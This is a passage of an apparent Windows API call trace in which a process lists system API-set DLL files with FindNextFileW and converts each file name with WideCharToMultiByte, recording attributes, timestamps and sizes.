ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="")) returned 1 [0206.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L2-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0206.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L2-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x9dc120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-XSTATE-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0206.269] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="")) returned 1 [0206.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0206.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x9dc288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-CONIO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0206.269] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb852a170, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb852a170, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="")) returned 1 [0206.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONVERT-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0206.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONVERT-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x9dc120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-CONVERT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0206.269] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8504010, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8504010, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="")) returned 1 [0206.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0206.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x9dc288, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0206.269] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb852a170, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb852a170, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3560, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="")) returned 1 [0206.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0206.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x9dc120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0206.269] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="")) returned 1 [0206.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-HEAP-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0206.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-HEAP-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x9dc288, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-HEAP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 30 [0206.269] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="")) returned 1 [0206.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-LOCALE-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0206.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-LOCALE-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x9dc120, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-LOCALE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0206.270] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb846ba90, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb846ba90, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x5760, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="")) returned 1 [0206.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MATH-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0206.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MATH-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x9dc288, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-MATH-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 30 [0206.270] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8445930, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8445930, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4d60, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="")) returned 1 [0206.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0206.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x9dc120, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-MULTIBYTE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0206.270] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8125c50, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8125c50, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x10360, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="")) returned 1 [0206.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0206.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x9dc288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-PRIVATE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0206.270] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="")) returned 1 [0206.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PROCESS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0206.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-PROCESS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x9dc120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-PROCESS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0206.270] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84b7d50, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84b7d50, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3f60, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="")) returned 1 [0206.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0206.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x9dc288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0206.270] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4560, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="")) returned 1 [0206.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STDIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0206.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STDIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x9dc120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-STDIO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0206.270] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb85502d0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb85502d0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4560, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="")) returned 1 [0206.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STRING-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0206.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STRING-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x9dc288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-STRING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0206.271] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="")) returned 1 [0206.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-TIME-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0206.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-TIME-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x9dc120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-TIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 30 [0206.271] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="")) returned 1 [0206.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-UTILITY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0206.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-UTILITY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x9dc288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-UTILITY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0206.271] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8504010, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8504010, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-eventing-provider-l1-1-0.dll", cAlternateFileName="")) returned 1 [0206.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-EVENTING-PROVIDER-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0206.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-EVENTING-PROVIDER-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x9dc120, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-EVENTING-PROVIDER-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0206.271] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1833b5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1833b5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d1a7690, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-security-base-l1-1-0.dll", cAlternateFileName="")) returned 1 [0206.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-BASE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0206.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-BASE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x9dc288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SECURITY-BASE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0206.271] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4f381b9f, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x4f381b9f, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x4f37fbd0, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-security-lsalookup-l1-1-0.dll", cAlternateFileName="")) returned 1 [0206.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0206.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x9dc120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0206.271] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4f3a7cfe, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x4f3a7cfe, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x4f3a6cd0, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-security-sddl-l1-1-0.dll", cAlternateFileName="")) returned 1 [0206.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0206.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x9dc288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0206.271] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="api-ms-win-service-core-l1-1-0.dll", cAlternateFileName="")) returned 1 [0206.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-CORE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0206.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-CORE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x9dc120, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 